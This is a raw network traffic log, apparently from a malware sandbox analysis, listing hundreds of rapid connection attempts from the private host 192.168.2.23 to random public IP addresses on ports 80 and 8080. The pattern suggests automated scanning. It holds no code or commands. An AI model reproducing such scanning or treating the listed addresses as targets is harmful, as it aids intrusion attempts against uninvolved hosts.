Mar 2, 2024 12:36:51.807195902 CET	52742	80	192.168.2.23	206.180.70.199
Mar 2, 2024 12:36:51.807205915 CET	52742	80	192.168.2.23	83.174.173.253
Mar 2, 2024 12:36:51.807205915 CET	49158	8080	192.168.2.23	172.233.217.171
Mar 2, 2024 12:36:51.807205915 CET	52742	80	192.168.2.23	213.187.193.158
Mar 2, 2024 12:36:51.807205915 CET	52742	80	192.168.2.23	82.6.133.254
Mar 2, 2024 12:36:51.807205915 CET	52742	80	192.168.2.23	169.91.3.167
Mar 2, 2024 12:36:51.807207108 CET	52742	80	192.168.2.23	178.24.230.21
Mar 2, 2024 12:36:51.807207108 CET	52742	80	192.168.2.23	213.69.60.192
Mar 2, 2024 12:36:51.807240009 CET	52742	80	192.168.2.23	178.92.141.201
Mar 2, 2024 12:36:51.807240009 CET	52742	80	192.168.2.23	213.152.54.196
Mar 2, 2024 12:36:51.807240009 CET	49158	8080	192.168.2.23	184.44.209.167
Mar 2, 2024 12:36:51.807240009 CET	52742	80	192.168.2.23	178.164.71.4
Mar 2, 2024 12:36:51.807240009 CET	52742	80	192.168.2.23	83.147.205.115
Mar 2, 2024 12:36:51.807240009 CET	52742	80	192.168.2.23	200.132.229.59
Mar 2, 2024 12:36:51.807240009 CET	52742	80	192.168.2.23	83.89.189.91
Mar 2, 2024 12:36:51.807240009 CET	52742	80	192.168.2.23	169.199.47.27
Mar 2, 2024 12:36:51.807248116 CET	52742	80	192.168.2.23	213.55.19.248
Mar 2, 2024 12:36:51.807248116 CET	52742	80	192.168.2.23	83.68.68.36
Mar 2, 2024 12:36:51.807248116 CET	49158	8080	192.168.2.23	98.218.201.152
Mar 2, 2024 12:36:51.807248116 CET	49158	8080	192.168.2.23	184.53.203.186
Mar 2, 2024 12:36:51.807248116 CET	49158	8080	192.168.2.23	172.227.251.176
Mar 2, 2024 12:36:51.807248116 CET	52742	80	192.168.2.23	206.232.239.127
Mar 2, 2024 12:36:51.807248116 CET	52742	80	192.168.2.23	83.85.95.247
Mar 2, 2024 12:36:51.807248116 CET	52742	80	192.168.2.23	178.163.134.130
Mar 2, 2024 12:36:51.807256937 CET	52742	80	192.168.2.23	213.8.28.52
Mar 2, 2024 12:36:51.807256937 CET	52742	80	192.168.2.23	82.194.118.196
Mar 2, 2024 12:36:51.807257891 CET	49158	8080	192.168.2.23	172.97.136.159
Mar 2, 2024 12:36:51.807257891 CET	52742	80	192.168.2.23	178.21.175.39
Mar 2, 2024 12:36:51.807257891 CET	52742	80	192.168.2.23	178.46.141.62
Mar 2, 2024 12:36:51.807257891 CET	52742	80	192.168.2.23	178.174.104.196
Mar 2, 2024 12:36:51.807257891 CET	52742	80	192.168.2.23	83.191.98.1
Mar 2, 2024 12:36:51.807260036 CET	52742	80	192.168.2.23	181.180.171.253
Mar 2, 2024 12:36:51.807260990 CET	52742	80	192.168.2.23	86.84.242.56
Mar 2, 2024 12:36:51.807260990 CET	52742	80	192.168.2.23	169.177.155.17
Mar 2, 2024 12:36:51.807260990 CET	52742	80	192.168.2.23	86.241.118.64
Mar 2, 2024 12:36:51.807260990 CET	52742	80	192.168.2.23	80.83.183.17
Mar 2, 2024 12:36:51.807260990 CET	52742	80	192.168.2.23	80.20.213.254
Mar 2, 2024 12:36:51.807260990 CET	52742	80	192.168.2.23	82.155.83.111
Mar 2, 2024 12:36:51.807260990 CET	52742	80	192.168.2.23	82.177.146.180
Mar 2, 2024 12:36:51.807265043 CET	52742	80	192.168.2.23	181.134.255.46
Mar 2, 2024 12:36:51.807265043 CET	52742	80	192.168.2.23	206.63.238.35
Mar 2, 2024 12:36:51.807265043 CET	52742	80	192.168.2.23	82.152.175.163
Mar 2, 2024 12:36:51.807265043 CET	52742	80	192.168.2.23	86.237.31.212
Mar 2, 2024 12:36:51.807301998 CET	52742	80	192.168.2.23	200.170.180.85
Mar 2, 2024 12:36:51.807301998 CET	52742	80	192.168.2.23	200.94.123.129
Mar 2, 2024 12:36:51.807301998 CET	52742	80	192.168.2.23	83.96.92.176
Mar 2, 2024 12:36:51.807301998 CET	52742	80	192.168.2.23	83.231.89.17
Mar 2, 2024 12:36:51.807301998 CET	52742	80	192.168.2.23	206.91.225.170
Mar 2, 2024 12:36:51.807301998 CET	52742	80	192.168.2.23	181.221.22.6
Mar 2, 2024 12:36:51.807301998 CET	49158	8080	192.168.2.23	184.48.231.142
Mar 2, 2024 12:36:51.807301998 CET	52742	80	192.168.2.23	82.247.223.25
Mar 2, 2024 12:36:51.807312012 CET	52742	80	192.168.2.23	82.38.88.222
Mar 2, 2024 12:36:51.807312012 CET	52742	80	192.168.2.23	200.253.136.238
Mar 2, 2024 12:36:51.807312965 CET	52742	80	192.168.2.23	169.62.38.175
Mar 2, 2024 12:36:51.807312965 CET	49158	8080	192.168.2.23	184.45.126.61
Mar 2, 2024 12:36:51.807318926 CET	52742	80	192.168.2.23	178.204.245.6
Mar 2, 2024 12:36:51.807318926 CET	49158	8080	192.168.2.23	172.207.51.90
Mar 2, 2024 12:36:51.807318926 CET	49158	8080	192.168.2.23	98.193.92.178
Mar 2, 2024 12:36:51.807318926 CET	52742	80	192.168.2.23	181.200.109.81
Mar 2, 2024 12:36:51.807318926 CET	52742	80	192.168.2.23	206.140.94.130
Mar 2, 2024 12:36:51.807318926 CET	52742	80	192.168.2.23	200.199.35.66
Mar 2, 2024 12:36:51.807318926 CET	49158	8080	192.168.2.23	98.58.205.123
Mar 2, 2024 12:36:51.807318926 CET	52742	80	192.168.2.23	86.221.204.70
Mar 2, 2024 12:36:51.807348013 CET	52742	80	192.168.2.23	181.242.12.85
Mar 2, 2024 12:36:51.807348013 CET	52742	80	192.168.2.23	200.205.23.28
Mar 2, 2024 12:36:51.807348013 CET	52742	80	192.168.2.23	178.241.72.207
Mar 2, 2024 12:36:51.807348013 CET	52742	80	192.168.2.23	80.229.129.164
Mar 2, 2024 12:36:51.807348013 CET	52742	80	192.168.2.23	200.90.80.194
Mar 2, 2024 12:36:51.807348013 CET	52742	80	192.168.2.23	80.190.24.108
Mar 2, 2024 12:36:51.807348013 CET	52742	80	192.168.2.23	213.52.247.43
Mar 2, 2024 12:36:51.807348967 CET	49158	8080	192.168.2.23	172.62.196.217
Mar 2, 2024 12:36:51.807353020 CET	52742	80	192.168.2.23	178.245.145.230
Mar 2, 2024 12:36:51.807353020 CET	52742	80	192.168.2.23	80.239.210.203
Mar 2, 2024 12:36:51.807353020 CET	52742	80	192.168.2.23	83.253.59.72
Mar 2, 2024 12:36:51.807353020 CET	52742	80	192.168.2.23	169.56.163.141
Mar 2, 2024 12:36:51.807353020 CET	52742	80	192.168.2.23	86.105.191.49
Mar 2, 2024 12:36:51.807353020 CET	49158	8080	192.168.2.23	98.172.179.175
Mar 2, 2024 12:36:51.807353020 CET	52742	80	192.168.2.23	169.218.64.90
Mar 2, 2024 12:36:51.807354927 CET	52742	80	192.168.2.23	178.102.38.218
Mar 2, 2024 12:36:51.807353020 CET	49158	8080	192.168.2.23	184.204.87.112
Mar 2, 2024 12:36:51.807369947 CET	52742	80	192.168.2.23	80.28.205.165
Mar 2, 2024 12:36:51.807369947 CET	52742	80	192.168.2.23	83.143.113.154
Mar 2, 2024 12:36:51.807369947 CET	52742	80	192.168.2.23	82.241.159.210
Mar 2, 2024 12:36:51.807369947 CET	52742	80	192.168.2.23	169.222.11.87
Mar 2, 2024 12:36:51.807369947 CET	52742	80	192.168.2.23	83.252.168.34
Mar 2, 2024 12:36:51.807369947 CET	52742	80	192.168.2.23	80.197.246.68
Mar 2, 2024 12:36:51.807370901 CET	49158	8080	192.168.2.23	98.209.45.225
Mar 2, 2024 12:36:51.807370901 CET	49158	8080	192.168.2.23	172.57.12.178
Mar 2, 2024 12:36:51.807377100 CET	52742	80	192.168.2.23	213.185.55.215
Mar 2, 2024 12:36:51.807377100 CET	52742	80	192.168.2.23	213.195.95.194
Mar 2, 2024 12:36:51.807377100 CET	49158	8080	192.168.2.23	184.222.251.188
Mar 2, 2024 12:36:51.807377100 CET	52742	80	192.168.2.23	181.245.150.136
Mar 2, 2024 12:36:51.807377100 CET	52742	80	192.168.2.23	169.194.179.82
Mar 2, 2024 12:36:51.807377100 CET	52742	80	192.168.2.23	82.193.41.241
Mar 2, 2024 12:36:51.807377100 CET	49158	8080	192.168.2.23	98.56.25.117
Mar 2, 2024 12:36:51.807379007 CET	52742	80	192.168.2.23	181.1.199.34
Mar 2, 2024 12:36:51.807377100 CET	52742	80	192.168.2.23	80.249.170.119
Mar 2, 2024 12:36:51.807379007 CET	52742	80	192.168.2.23	83.28.116.160
Mar 2, 2024 12:36:51.807379007 CET	52742	80	192.168.2.23	206.52.231.164
Mar 2, 2024 12:36:51.807379007 CET	49158	8080	192.168.2.23	184.230.94.226
Mar 2, 2024 12:36:51.807379007 CET	49158	8080	192.168.2.23	98.171.123.170
Mar 2, 2024 12:36:51.807394028 CET	52742	80	192.168.2.23	169.140.164.76
Mar 2, 2024 12:36:51.807394028 CET	52742	80	192.168.2.23	206.181.215.112
Mar 2, 2024 12:36:51.807394028 CET	52742	80	192.168.2.23	86.104.66.46
Mar 2, 2024 12:36:51.807394028 CET	49158	8080	192.168.2.23	184.66.99.127
Mar 2, 2024 12:36:51.807394028 CET	52742	80	192.168.2.23	178.173.12.19
Mar 2, 2024 12:36:51.807394028 CET	49158	8080	192.168.2.23	184.182.230.88
Mar 2, 2024 12:36:51.807394028 CET	49158	8080	192.168.2.23	98.213.22.193
Mar 2, 2024 12:36:51.807394028 CET	52742	80	192.168.2.23	86.186.175.5
Mar 2, 2024 12:36:51.807403088 CET	52742	80	192.168.2.23	169.125.140.123
Mar 2, 2024 12:36:51.807403088 CET	52742	80	192.168.2.23	82.94.249.196
Mar 2, 2024 12:36:51.807403088 CET	52742	80	192.168.2.23	83.1.22.193
Mar 2, 2024 12:36:51.807403088 CET	49158	8080	192.168.2.23	98.159.16.144
Mar 2, 2024 12:36:51.807403088 CET	52742	80	192.168.2.23	86.176.68.89
Mar 2, 2024 12:36:51.807403088 CET	52742	80	192.168.2.23	86.184.127.105
Mar 2, 2024 12:36:51.807403088 CET	49158	8080	192.168.2.23	172.97.133.240
Mar 2, 2024 12:36:51.807418108 CET	52742	80	192.168.2.23	169.12.184.136
Mar 2, 2024 12:36:51.807418108 CET	49158	8080	192.168.2.23	184.205.57.14
Mar 2, 2024 12:36:51.807418108 CET	52742	80	192.168.2.23	178.197.10.19
Mar 2, 2024 12:36:51.807418108 CET	52742	80	192.168.2.23	86.118.25.57
Mar 2, 2024 12:36:51.807418108 CET	49158	8080	192.168.2.23	98.200.97.85
Mar 2, 2024 12:36:51.807418108 CET	49158	8080	192.168.2.23	98.107.79.104
Mar 2, 2024 12:36:51.807418108 CET	52742	80	192.168.2.23	80.158.116.19
Mar 2, 2024 12:36:51.807418108 CET	52742	80	192.168.2.23	181.143.173.235
Mar 2, 2024 12:36:51.807424068 CET	49158	8080	192.168.2.23	184.235.16.122
Mar 2, 2024 12:36:51.807424068 CET	49158	8080	192.168.2.23	98.70.12.151
Mar 2, 2024 12:36:51.807424068 CET	52742	80	192.168.2.23	213.5.101.152
Mar 2, 2024 12:36:51.807424068 CET	49158	8080	192.168.2.23	172.154.189.147
Mar 2, 2024 12:36:51.807424068 CET	49158	8080	192.168.2.23	98.121.102.124
Mar 2, 2024 12:36:51.807424068 CET	49158	8080	192.168.2.23	98.246.237.46
Mar 2, 2024 12:36:51.807424068 CET	49158	8080	192.168.2.23	172.40.213.71
Mar 2, 2024 12:36:51.807424068 CET	52742	80	192.168.2.23	213.238.223.27
Mar 2, 2024 12:36:51.807440042 CET	49158	8080	192.168.2.23	172.105.97.105
Mar 2, 2024 12:36:51.807440042 CET	49158	8080	192.168.2.23	184.249.197.235
Mar 2, 2024 12:36:51.807440042 CET	49158	8080	192.168.2.23	184.134.100.90
Mar 2, 2024 12:36:51.807440042 CET	49158	8080	192.168.2.23	98.93.238.192
Mar 2, 2024 12:36:51.807440042 CET	52742	80	192.168.2.23	200.80.132.108
Mar 2, 2024 12:36:51.807481050 CET	52742	80	192.168.2.23	213.36.58.191
Mar 2, 2024 12:36:51.807481050 CET	49158	8080	192.168.2.23	184.138.92.36
Mar 2, 2024 12:36:51.807481050 CET	52742	80	192.168.2.23	213.202.77.180
Mar 2, 2024 12:36:51.807481050 CET	52742	80	192.168.2.23	206.0.13.141
Mar 2, 2024 12:36:51.807481050 CET	49158	8080	192.168.2.23	172.135.77.199
Mar 2, 2024 12:36:51.807481050 CET	52742	80	192.168.2.23	206.251.157.32
Mar 2, 2024 12:36:51.807481050 CET	52742	80	192.168.2.23	178.207.214.150
Mar 2, 2024 12:36:51.807481050 CET	49158	8080	192.168.2.23	98.130.136.64
Mar 2, 2024 12:36:51.807490110 CET	49158	8080	192.168.2.23	172.117.145.224
Mar 2, 2024 12:36:51.807490110 CET	52742	80	192.168.2.23	82.45.68.118
Mar 2, 2024 12:36:51.807490110 CET	49158	8080	192.168.2.23	172.89.190.97
Mar 2, 2024 12:36:51.807490110 CET	52742	80	192.168.2.23	80.148.189.206
Mar 2, 2024 12:36:51.807490110 CET	52742	80	192.168.2.23	82.187.3.10
Mar 2, 2024 12:36:51.807490110 CET	52742	80	192.168.2.23	206.98.19.240
Mar 2, 2024 12:36:51.807490110 CET	49158	8080	192.168.2.23	184.90.254.242
Mar 2, 2024 12:36:51.807490110 CET	52742	80	192.168.2.23	181.28.180.200
Mar 2, 2024 12:36:51.807493925 CET	49158	8080	192.168.2.23	98.29.146.71
Mar 2, 2024 12:36:51.807493925 CET	52742	80	192.168.2.23	181.150.20.61
Mar 2, 2024 12:36:51.807493925 CET	52742	80	192.168.2.23	80.127.15.112
Mar 2, 2024 12:36:51.807493925 CET	52742	80	192.168.2.23	206.184.145.38
Mar 2, 2024 12:36:51.807498932 CET	52742	80	192.168.2.23	86.170.137.128
Mar 2, 2024 12:36:51.807498932 CET	52742	80	192.168.2.23	181.170.144.236
Mar 2, 2024 12:36:51.807498932 CET	52742	80	192.168.2.23	178.30.47.228
Mar 2, 2024 12:36:51.807498932 CET	52742	80	192.168.2.23	213.254.0.126
Mar 2, 2024 12:36:51.807498932 CET	52742	80	192.168.2.23	178.50.205.31
Mar 2, 2024 12:36:51.807498932 CET	49158	8080	192.168.2.23	98.11.232.104
Mar 2, 2024 12:36:51.807498932 CET	49158	8080	192.168.2.23	98.181.45.249
Mar 2, 2024 12:36:51.807498932 CET	49158	8080	192.168.2.23	184.151.175.153
Mar 2, 2024 12:36:51.807507038 CET	49158	8080	192.168.2.23	172.7.185.192
Mar 2, 2024 12:36:51.807507038 CET	52742	80	192.168.2.23	206.72.89.142
Mar 2, 2024 12:36:51.807507038 CET	49158	8080	192.168.2.23	184.135.107.203
Mar 2, 2024 12:36:51.807507992 CET	49158	8080	192.168.2.23	172.4.199.16
Mar 2, 2024 12:36:51.807507992 CET	52742	80	192.168.2.23	213.241.233.224
Mar 2, 2024 12:36:51.807507992 CET	52742	80	192.168.2.23	178.64.201.134
Mar 2, 2024 12:36:51.807507992 CET	52742	80	192.168.2.23	86.143.224.170
Mar 2, 2024 12:36:51.807507992 CET	49158	8080	192.168.2.23	98.181.9.120
Mar 2, 2024 12:36:51.807516098 CET	52742	80	192.168.2.23	200.21.212.49
Mar 2, 2024 12:36:51.807516098 CET	49158	8080	192.168.2.23	184.154.228.126
Mar 2, 2024 12:36:51.807516098 CET	52742	80	192.168.2.23	206.183.185.56
Mar 2, 2024 12:36:51.807517052 CET	49158	8080	192.168.2.23	98.135.196.152
Mar 2, 2024 12:36:51.807517052 CET	52742	80	192.168.2.23	213.65.20.48
Mar 2, 2024 12:36:51.807517052 CET	52742	80	192.168.2.23	80.155.142.201
Mar 2, 2024 12:36:51.807517052 CET	49158	8080	192.168.2.23	98.72.154.77
Mar 2, 2024 12:36:51.807517052 CET	52742	80	192.168.2.23	82.18.158.187
Mar 2, 2024 12:36:51.807529926 CET	52742	80	192.168.2.23	80.244.4.204
Mar 2, 2024 12:36:51.807529926 CET	49158	8080	192.168.2.23	172.162.212.184
Mar 2, 2024 12:36:51.807529926 CET	52742	80	192.168.2.23	80.175.95.104
Mar 2, 2024 12:36:51.807529926 CET	49158	8080	192.168.2.23	184.183.255.188
Mar 2, 2024 12:36:51.807529926 CET	52742	80	192.168.2.23	178.151.192.56
Mar 2, 2024 12:36:51.807529926 CET	52742	80	192.168.2.23	82.181.238.88
Mar 2, 2024 12:36:51.807529926 CET	52742	80	192.168.2.23	200.36.201.92
Mar 2, 2024 12:36:51.807531118 CET	52742	80	192.168.2.23	82.53.205.250
Mar 2, 2024 12:36:51.807543993 CET	52742	80	192.168.2.23	169.134.179.55
Mar 2, 2024 12:36:51.807543993 CET	52742	80	192.168.2.23	178.13.16.93
Mar 2, 2024 12:36:51.807543993 CET	52742	80	192.168.2.23	213.182.20.170
Mar 2, 2024 12:36:51.807543993 CET	49158	8080	192.168.2.23	172.140.211.179
Mar 2, 2024 12:36:51.807543993 CET	49158	8080	192.168.2.23	172.116.210.239
Mar 2, 2024 12:36:51.807544947 CET	49158	8080	192.168.2.23	172.151.127.77
Mar 2, 2024 12:36:51.807545900 CET	52742	80	192.168.2.23	83.4.167.250
Mar 2, 2024 12:36:51.807544947 CET	49158	8080	192.168.2.23	172.82.249.138
Mar 2, 2024 12:36:51.807545900 CET	52742	80	192.168.2.23	80.16.39.253
Mar 2, 2024 12:36:51.807544947 CET	49158	8080	192.168.2.23	184.79.157.67
Mar 2, 2024 12:36:51.807545900 CET	52742	80	192.168.2.23	169.184.120.219
Mar 2, 2024 12:36:51.807545900 CET	52742	80	192.168.2.23	169.28.27.177
Mar 2, 2024 12:36:51.807545900 CET	49158	8080	192.168.2.23	98.11.96.183
Mar 2, 2024 12:36:51.807545900 CET	49158	8080	192.168.2.23	172.159.59.111
Mar 2, 2024 12:36:51.807553053 CET	52742	80	192.168.2.23	80.242.217.71
Mar 2, 2024 12:36:51.807553053 CET	49158	8080	192.168.2.23	172.236.209.189
Mar 2, 2024 12:36:51.807558060 CET	49158	8080	192.168.2.23	98.32.242.57
Mar 2, 2024 12:36:51.807558060 CET	52742	80	192.168.2.23	169.150.81.38
Mar 2, 2024 12:36:51.807558060 CET	52742	80	192.168.2.23	213.60.191.252
Mar 2, 2024 12:36:51.807558060 CET	49158	8080	192.168.2.23	98.233.158.222
Mar 2, 2024 12:36:51.807558060 CET	52742	80	192.168.2.23	178.237.107.191
Mar 2, 2024 12:36:51.807578087 CET	52742	80	192.168.2.23	178.116.143.113
Mar 2, 2024 12:36:51.807578087 CET	49158	8080	192.168.2.23	172.104.172.227
Mar 2, 2024 12:36:51.807578087 CET	49158	8080	192.168.2.23	172.235.106.195
Mar 2, 2024 12:36:51.807578087 CET	52742	80	192.168.2.23	80.37.71.150
Mar 2, 2024 12:36:51.807599068 CET	52742	80	192.168.2.23	206.47.68.138
Mar 2, 2024 12:36:51.807600021 CET	52742	80	192.168.2.23	213.248.4.160
Mar 2, 2024 12:36:51.807599068 CET	49158	8080	192.168.2.23	184.187.42.155
Mar 2, 2024 12:36:51.807600021 CET	49158	8080	192.168.2.23	172.120.174.52
Mar 2, 2024 12:36:51.807599068 CET	49158	8080	192.168.2.23	98.53.173.147
Mar 2, 2024 12:36:51.807600021 CET	52742	80	192.168.2.23	80.131.107.212
Mar 2, 2024 12:36:51.807599068 CET	52742	80	192.168.2.23	86.221.175.206
Mar 2, 2024 12:36:51.807600021 CET	52742	80	192.168.2.23	83.20.10.110
Mar 2, 2024 12:36:51.807599068 CET	49158	8080	192.168.2.23	184.140.97.64
Mar 2, 2024 12:36:51.807599068 CET	52742	80	192.168.2.23	178.169.231.230
Mar 2, 2024 12:36:51.807599068 CET	52742	80	192.168.2.23	83.250.56.227
Mar 2, 2024 12:36:51.807599068 CET	49158	8080	192.168.2.23	172.19.157.237
Mar 2, 2024 12:36:51.807616949 CET	52742	80	192.168.2.23	86.67.18.75
Mar 2, 2024 12:36:51.807616949 CET	52742	80	192.168.2.23	200.50.95.8
Mar 2, 2024 12:36:51.807616949 CET	52742	80	192.168.2.23	181.151.63.11
Mar 2, 2024 12:36:51.807616949 CET	52742	80	192.168.2.23	178.67.244.249
Mar 2, 2024 12:36:51.807631969 CET	52742	80	192.168.2.23	86.40.189.143
Mar 2, 2024 12:36:51.807631969 CET	49158	8080	192.168.2.23	172.93.6.255
Mar 2, 2024 12:36:51.807631969 CET	52742	80	192.168.2.23	178.128.89.107
Mar 2, 2024 12:36:51.807631969 CET	52742	80	192.168.2.23	178.194.214.247
Mar 2, 2024 12:36:51.807631969 CET	52742	80	192.168.2.23	181.78.110.14
Mar 2, 2024 12:36:51.807631969 CET	52742	80	192.168.2.23	181.80.35.38
Mar 2, 2024 12:36:51.807631969 CET	49158	8080	192.168.2.23	184.213.147.144
Mar 2, 2024 12:36:51.807631969 CET	52742	80	192.168.2.23	200.80.233.212
Mar 2, 2024 12:36:51.807641029 CET	52742	80	192.168.2.23	83.66.82.29
Mar 2, 2024 12:36:51.807641029 CET	49158	8080	192.168.2.23	184.44.126.173
Mar 2, 2024 12:36:51.807641029 CET	52742	80	192.168.2.23	80.165.178.160
Mar 2, 2024 12:36:51.807641029 CET	52742	80	192.168.2.23	82.83.58.210
Mar 2, 2024 12:36:51.807641029 CET	52742	80	192.168.2.23	181.15.11.79
Mar 2, 2024 12:36:51.807641029 CET	49158	8080	192.168.2.23	184.189.154.164
Mar 2, 2024 12:36:51.807641029 CET	49158	8080	192.168.2.23	98.136.229.13
Mar 2, 2024 12:36:51.807641983 CET	52742	80	192.168.2.23	86.56.92.207
Mar 2, 2024 12:36:51.807646990 CET	52742	80	192.168.2.23	83.234.46.202
Mar 2, 2024 12:36:51.807646990 CET	52742	80	192.168.2.23	200.140.234.65
Mar 2, 2024 12:36:51.807646990 CET	52742	80	192.168.2.23	83.68.59.196
Mar 2, 2024 12:36:51.807646990 CET	52742	80	192.168.2.23	86.83.180.215
Mar 2, 2024 12:36:51.807646990 CET	52742	80	192.168.2.23	213.191.172.238
Mar 2, 2024 12:36:51.807646990 CET	52742	80	192.168.2.23	82.80.130.145
Mar 2, 2024 12:36:51.807646990 CET	52742	80	192.168.2.23	206.234.249.36
Mar 2, 2024 12:36:51.807646990 CET	52742	80	192.168.2.23	86.183.204.180
Mar 2, 2024 12:36:51.807657003 CET	49158	8080	192.168.2.23	172.29.138.165
Mar 2, 2024 12:36:51.807657003 CET	52742	80	192.168.2.23	213.22.228.136
Mar 2, 2024 12:36:51.807657003 CET	52742	80	192.168.2.23	86.156.107.200
Mar 2, 2024 12:36:51.807658911 CET	52742	80	192.168.2.23	83.86.17.156
Mar 2, 2024 12:36:51.807657003 CET	49158	8080	192.168.2.23	184.155.195.132
Mar 2, 2024 12:36:51.807657003 CET	52742	80	192.168.2.23	169.7.35.163
Mar 2, 2024 12:36:51.807657003 CET	52742	80	192.168.2.23	169.58.237.104
Mar 2, 2024 12:36:51.807661057 CET	52742	80	192.168.2.23	86.135.16.73
Mar 2, 2024 12:36:51.807661057 CET	52742	80	192.168.2.23	181.130.242.69
Mar 2, 2024 12:36:51.807661057 CET	52742	80	192.168.2.23	178.2.105.92
Mar 2, 2024 12:36:51.807681084 CET	52742	80	192.168.2.23	86.35.215.244
Mar 2, 2024 12:36:51.807681084 CET	52742	80	192.168.2.23	169.10.113.24
Mar 2, 2024 12:36:51.807681084 CET	49158	8080	192.168.2.23	184.2.111.204
Mar 2, 2024 12:36:51.807681084 CET	49158	8080	192.168.2.23	184.219.0.76
Mar 2, 2024 12:36:51.807681084 CET	49158	8080	192.168.2.23	184.21.156.127
Mar 2, 2024 12:36:51.807681084 CET	52742	80	192.168.2.23	206.97.239.4
Mar 2, 2024 12:36:51.807681084 CET	52742	80	192.168.2.23	181.62.20.36
Mar 2, 2024 12:36:51.807681084 CET	49158	8080	192.168.2.23	98.67.17.75
Mar 2, 2024 12:36:51.807699919 CET	52742	80	192.168.2.23	83.84.219.113
Mar 2, 2024 12:36:51.807699919 CET	52742	80	192.168.2.23	200.86.197.136
Mar 2, 2024 12:36:51.807713985 CET	49158	8080	192.168.2.23	172.13.49.59
Mar 2, 2024 12:36:51.807713985 CET	52742	80	192.168.2.23	200.241.253.58
Mar 2, 2024 12:36:51.807713985 CET	52742	80	192.168.2.23	169.47.215.78
Mar 2, 2024 12:36:51.807713985 CET	49158	8080	192.168.2.23	172.106.223.179
Mar 2, 2024 12:36:51.807713985 CET	49158	8080	192.168.2.23	184.0.211.26
Mar 2, 2024 12:36:51.807713985 CET	52742	80	192.168.2.23	86.82.43.23
Mar 2, 2024 12:36:51.807713985 CET	49158	8080	192.168.2.23	172.80.233.29
Mar 2, 2024 12:36:51.807713985 CET	49158	8080	192.168.2.23	98.89.189.215
Mar 2, 2024 12:36:51.807720900 CET	52742	80	192.168.2.23	82.54.244.213
Mar 2, 2024 12:36:51.807720900 CET	52742	80	192.168.2.23	80.84.38.111
Mar 2, 2024 12:36:51.807720900 CET	52742	80	192.168.2.23	83.131.79.101
Mar 2, 2024 12:36:51.807720900 CET	49158	8080	192.168.2.23	172.193.54.116
Mar 2, 2024 12:36:51.807720900 CET	52742	80	192.168.2.23	80.17.210.189
Mar 2, 2024 12:36:51.807720900 CET	52742	80	192.168.2.23	86.164.12.186
Mar 2, 2024 12:36:51.807720900 CET	52742	80	192.168.2.23	200.18.157.53
Mar 2, 2024 12:36:51.807723999 CET	52742	80	192.168.2.23	80.104.245.204
Mar 2, 2024 12:36:51.807720900 CET	52742	80	192.168.2.23	169.53.177.174
Mar 2, 2024 12:36:51.807723999 CET	52742	80	192.168.2.23	82.128.121.169
Mar 2, 2024 12:36:51.807720900 CET	52742	80	192.168.2.23	178.67.186.74
Mar 2, 2024 12:36:51.807723999 CET	52742	80	192.168.2.23	178.184.231.167
Mar 2, 2024 12:36:51.807720900 CET	52742	80	192.168.2.23	169.144.132.118
Mar 2, 2024 12:36:51.807729006 CET	52742	80	192.168.2.23	80.248.45.3
Mar 2, 2024 12:36:51.807744980 CET	52742	80	192.168.2.23	200.62.93.31
Mar 2, 2024 12:36:51.807744980 CET	52742	80	192.168.2.23	181.96.58.151
Mar 2, 2024 12:36:51.807744980 CET	52742	80	192.168.2.23	86.192.212.92
Mar 2, 2024 12:36:51.807744980 CET	52742	80	192.168.2.23	83.29.28.2
Mar 2, 2024 12:36:51.807744980 CET	52742	80	192.168.2.23	169.239.2.70
Mar 2, 2024 12:36:51.807759047 CET	52742	80	192.168.2.23	181.28.19.123
Mar 2, 2024 12:36:51.807769060 CET	49158	8080	192.168.2.23	98.200.34.36
Mar 2, 2024 12:36:51.807769060 CET	49158	8080	192.168.2.23	184.200.214.162
Mar 2, 2024 12:36:51.807769060 CET	52742	80	192.168.2.23	213.40.86.134
Mar 2, 2024 12:36:51.807769060 CET	52742	80	192.168.2.23	80.193.222.157
Mar 2, 2024 12:36:51.807769060 CET	52742	80	192.168.2.23	178.240.142.50
Mar 2, 2024 12:36:51.807769060 CET	49158	8080	192.168.2.23	184.50.166.221
Mar 2, 2024 12:36:51.807769060 CET	52742	80	192.168.2.23	200.70.210.15
Mar 2, 2024 12:36:51.807769060 CET	52742	80	192.168.2.23	83.142.107.85
Mar 2, 2024 12:36:51.807771921 CET	52742	80	192.168.2.23	213.79.216.66
Mar 2, 2024 12:36:51.807771921 CET	49158	8080	192.168.2.23	184.100.134.154
Mar 2, 2024 12:36:51.807771921 CET	52742	80	192.168.2.23	169.131.219.102
Mar 2, 2024 12:36:51.807771921 CET	52742	80	192.168.2.23	82.73.193.231
Mar 2, 2024 12:36:51.807771921 CET	49158	8080	192.168.2.23	172.249.44.55
Mar 2, 2024 12:36:51.807771921 CET	49158	8080	192.168.2.23	184.16.170.225
Mar 2, 2024 12:36:51.807771921 CET	52742	80	192.168.2.23	206.52.80.57
Mar 2, 2024 12:36:51.807771921 CET	52742	80	192.168.2.23	200.82.146.237
Mar 2, 2024 12:36:51.807781935 CET	52742	80	192.168.2.23	178.73.149.192
Mar 2, 2024 12:36:51.807782888 CET	52742	80	192.168.2.23	83.247.130.118
Mar 2, 2024 12:36:51.807782888 CET	52742	80	192.168.2.23	82.218.147.114
Mar 2, 2024 12:36:51.807782888 CET	52742	80	192.168.2.23	169.165.90.165
Mar 2, 2024 12:36:51.807782888 CET	52742	80	192.168.2.23	169.134.174.134
Mar 2, 2024 12:36:51.807782888 CET	52742	80	192.168.2.23	82.234.49.230
Mar 2, 2024 12:36:51.807782888 CET	52742	80	192.168.2.23	83.222.50.130
Mar 2, 2024 12:36:51.807782888 CET	52742	80	192.168.2.23	181.0.20.252
Mar 2, 2024 12:36:51.807785034 CET	52742	80	192.168.2.23	178.249.110.204
Mar 2, 2024 12:36:51.807785988 CET	52742	80	192.168.2.23	82.129.7.158
Mar 2, 2024 12:36:51.807794094 CET	49158	8080	192.168.2.23	184.119.159.35
Mar 2, 2024 12:36:51.807794094 CET	49158	8080	192.168.2.23	184.113.253.108
Mar 2, 2024 12:36:51.807794094 CET	49158	8080	192.168.2.23	184.170.197.160
Mar 2, 2024 12:36:51.807796001 CET	52742	80	192.168.2.23	200.92.85.85
Mar 2, 2024 12:36:51.807794094 CET	52742	80	192.168.2.23	181.199.226.90
Mar 2, 2024 12:36:51.807794094 CET	52742	80	192.168.2.23	86.185.6.138
Mar 2, 2024 12:36:51.807795048 CET	49158	8080	192.168.2.23	184.70.195.136
Mar 2, 2024 12:36:51.807795048 CET	52742	80	192.168.2.23	181.141.45.204
Mar 2, 2024 12:36:51.807795048 CET	52742	80	192.168.2.23	83.27.41.157
Mar 2, 2024 12:36:51.807804108 CET	52742	80	192.168.2.23	80.16.205.237
